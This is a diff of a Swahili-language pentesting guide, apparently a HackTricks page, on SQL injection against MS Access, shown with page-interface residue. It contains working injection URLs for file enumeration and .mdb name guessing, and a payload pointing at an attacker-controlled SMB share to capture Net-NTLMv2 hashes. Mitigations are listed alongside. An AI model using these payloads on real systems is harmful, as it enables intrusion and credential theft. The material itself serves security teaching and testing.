- `IIF(1=1,'a','b')` kama kisha
|
||||
- `COUNT(*)` Hesabu idadi ya vitu
|
||||
- `Mid('admin',1,1)` get substring from position 1 length 1 (initial position is 1)
|
||||
- `LEN('1234')` get length of string
|
||||
- `ASC('A')` get ascii value of char
|
||||
- `CHR(65)` get string from ascii value
|
||||
- `IIF(1=1,'a','b')` if then
|
||||
- `COUNT(*)` Count number of items
|
||||
|
||||
## Enumerating tables
|
||||
|
||||
@ -136,7 +136,7 @@ and MSysObjects.name not like '~*'
|
||||
and MSysObjects.name not like 'MSys*'
|
||||
order by MSysObjects.name
|
||||
```
|
||||
Hata hivyo, kumbuka kwamba ni kawaida kupata SQL Injections ambapo **huna uf access wa kusoma jedwali `MSysObjects`**.
|
||||
Hata hivyo, kumbuka kwamba ni kawaida sana kupata SQL Injections ambapo **huna uf access wa kusoma jedwali `MSysObjects`**.
|
||||
|
||||
## Ufikiaji wa Faili
|
||||
|
||||
@ -150,7 +150,7 @@ MS Access inajibu kwa **ujumbe wa kosa unaoonyesha njia kamili ya katalogi ya wa
|
||||
|
||||
### Uhesabuji wa Faili
|
||||
|
||||
Kipengele kinachofuata kinaweza kutumika **kujua uwepo wa faili kwenye mfumo wa mbali wa faili**. Ikiwa faili iliyoainishwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi:
|
||||
Kipengele kinachofuata cha shambulio kinaweza kutumika **kujua uwepo wa faili kwenye mfumo wa mbali**. Ikiwa faili iliyoainishwa ipo, MS Access inasababisha ujumbe wa kosa ukisema kwamba muundo wa hifadhidata si sahihi:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
@ -160,15 +160,15 @@ Njia nyingine ya kuhesabu faili inajumuisha **kuainisha kipengele cha hifadhidat
|
||||
|
||||
### Kukisia Jina la Faili la .mdb
|
||||
|
||||
**Jina la faili la hifadhidata (.mdb)** linaweza kufahamika kwa kutumia ombi lifuatalo:
|
||||
**Jina la faili la hifadhidata (.mdb)** linaweza kufahamika kwa kutumia swali lifuatalo:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Ambapo **name[i] ni jina la faili la .mdb** na **realTable ni jedwali lililopo** ndani ya hifadhidata. Ingawa MS Access daima itasababisha ujumbe wa kosa, inawezekana kutofautisha kati ya jina la faili lisilo sahihi na jina la faili la .mdb linalofaa.
|
||||
Ambapo **name[i] ni jina la faili la .mdb** na **realTable ni jedwali lililopo** ndani ya hifadhidata. Ingawa MS Access kila wakati itasababisha ujumbe wa kosa, inawezekana kutofautisha kati ya jina la faili lisilo sahihi na jina la faili la .mdb linalofaa.
|
||||
|
||||
### Ufikiaji wa Hifadhidata ya Mbali & Wizi wa Akreditivu za NTLM (2023)
|
||||
|
||||
Tangu Jet 4.0 kila ombi linaweza kurejelea jedwali lililoko kwenye faili *tofauti* ya `.mdb/.accdb` kupitia kipengele cha `IN '<path>'`:
|
||||
Tangu Jet 4.0 kila swali linaweza kurejelea jedwali lililoko kwenye faili *tofauti* ya `.mdb/.accdb` kupitia kipengele cha `IN '<path>'`:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
@ -186,10 +186,10 @@ IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Impact:
|
||||
|
||||
* Uhamasishaji wa Net-NTLMv2 hashes (zinazoweza kutumika kwa relay au offline cracking).
|
||||
* Uhamasishaji wa Net-NTLMv2 hashes nje ya mtandao (zinazoweza kutumika kwa relay au offline cracking).
|
||||
* Utekelezaji wa msimbo wa mbali unaweza kutokea ikiwa hitilafu mpya ya Jet/ACE parser itatumika.
|
||||
|
||||
Mitigations (zinapendekezwa hata kwa programu za zamani za Classic ASP):
|
||||
Mitigations (inapendekezwa hata kwa programu za zamani za Classic ASP):
|
||||
|
||||
* Ongeza thamani ya rejista `AllowQueryRemoteTables = 0` chini ya `HKLM\Software\Microsoft\Jet\4.0\Engines` (na chini ya njia sawa ya ACE). Hii inalazimisha Jet/ACE kukataa njia za mbali zinazooanza na `\\`.
|
||||
* Zuia SMB/WebDAV zinazotoka kwenye mpaka wa mtandao.
|
||||
@ -199,7 +199,7 @@ Vector ya uthibitishaji wa kulazimishwa ilirejelewa na Check Point Research mnam
|
||||
|
||||
### .mdb Password Cracker
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ni chombo cha bure ambacho kinaweza kutumika kurejesha nenosiri kuu la database ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ni chombo cha bure ambacho kinaweza kutumika kurejesha nenosiri kuu la hifadhidata ya Microsoft Access 95/97/2000/XP au Jet Database Engine 3.0/4.0.
|
||||
|
||||
## References
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user